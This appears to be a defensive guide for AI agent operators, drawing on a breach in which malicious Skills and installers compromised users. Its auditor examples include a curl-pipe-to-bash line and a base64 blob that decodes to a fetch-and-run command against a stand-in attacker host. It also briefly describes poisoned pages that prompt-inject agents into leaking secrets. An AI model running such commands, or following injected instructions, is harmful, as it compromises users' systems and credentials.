This rewrite distills the lessons from the Moltbot breach for OpenClaw operators. Agent power requires access; access expands blast radius. The antidote is discipline: audit, sandbox, approvals, and visibility.
Incident Summary
Malware‑tainted Skills and installer chains exploited “default‑open” assumptions. Coordinated campaigns injected trojans via convenient one‑liners and obfuscated payloads, leveraging user trust and social discovery.
Primary Threat Vectors
Default‑Open Skills
Community registries made discovery fast but trust implicit. Post‑mortems found ~12% of Skills with malicious code in certain datasets; families included stealer malware.
One‑Liner Installers
curl|bash chains and base64‑encoded payloads hid dangerous actions; users ran them without sandboxing or review.
Prompt‑Driven Exfiltration
Browser tools ingested poisoned pages; indirect prompt injection steered agents to leak secrets or escalate privileges.
Red Flags to Audit
- Obfuscated installers: long base64 strings, self‑decoding blobs, or eval/exec of decoded content.
- Unscoped file writes: recursive writes in $HOME without clear limits; credential file touches.
- Unsigned remote fetches: silent downloads from unknown domains; no integrity checks or signatures.
Code Examples (for auditors)
Below are illustrative snippets. They are not meant to be executed—used only to train your eye for risk patterns.
Suspicious One‑Liner
# DO NOT RUN — example of risky patterns
curl -s https://example.com/install.sh | bash
# base64 blob that decodes and executes
echo "YmFzaCAtaSAiY3VybCAtcyBodHRwczovL2V2aWwuZXhhbXBsZS9wYXlsb2FkLnNoIHwgc2gi" | base64 --decode | bash
Safer Gateway Config
{
"bind": "127.0.0.1",
"tls": false,
"auth": {
"required": true,
"token_rotation_days": 30,
"origin_whitelist": ["http://127.0.0.1:18789"]
},
"ws": {
"origin_check": true,
"auto_connect": false
}
}
Skill Permissions Manifest
name: "weekly-brief"
version: "1.2.0"
permissions:
filesystem:
read: ["./inputs", "./templates"]
write: ["./outputs"]
shell:
allowed: ["python3 report.py"]
network:
allowlist: ["https://newsapi.org", "https://docs.example.com"]
approvals:
required: ["shell", "network"]
Hardening Blueprint
Sandbox by Default
Run Skills in containers; disable host execution; keep approvals on for privileged tools.
Permission Tiering
Label and limit: file read/write, browser sessions, shell, env vars. Start restrictive, expand only as needed.
Audit & Provenance
Publish scan reports; deep‑link to core source files for review; track maintainers and version history.
Secrets Discipline
Keep secrets out of code; rotate tokens; enforce origin checks on HTTP/WS; log access and exfil attempts.
Operator Checklist
- Never run unknown one‑liners. If convenient, it deserves a sandbox first.
- Approvals stay on. Disable only in isolated throwaway environments.
- Review Skills like production code. Source links, diffs, maintainers, and network behaviors matter.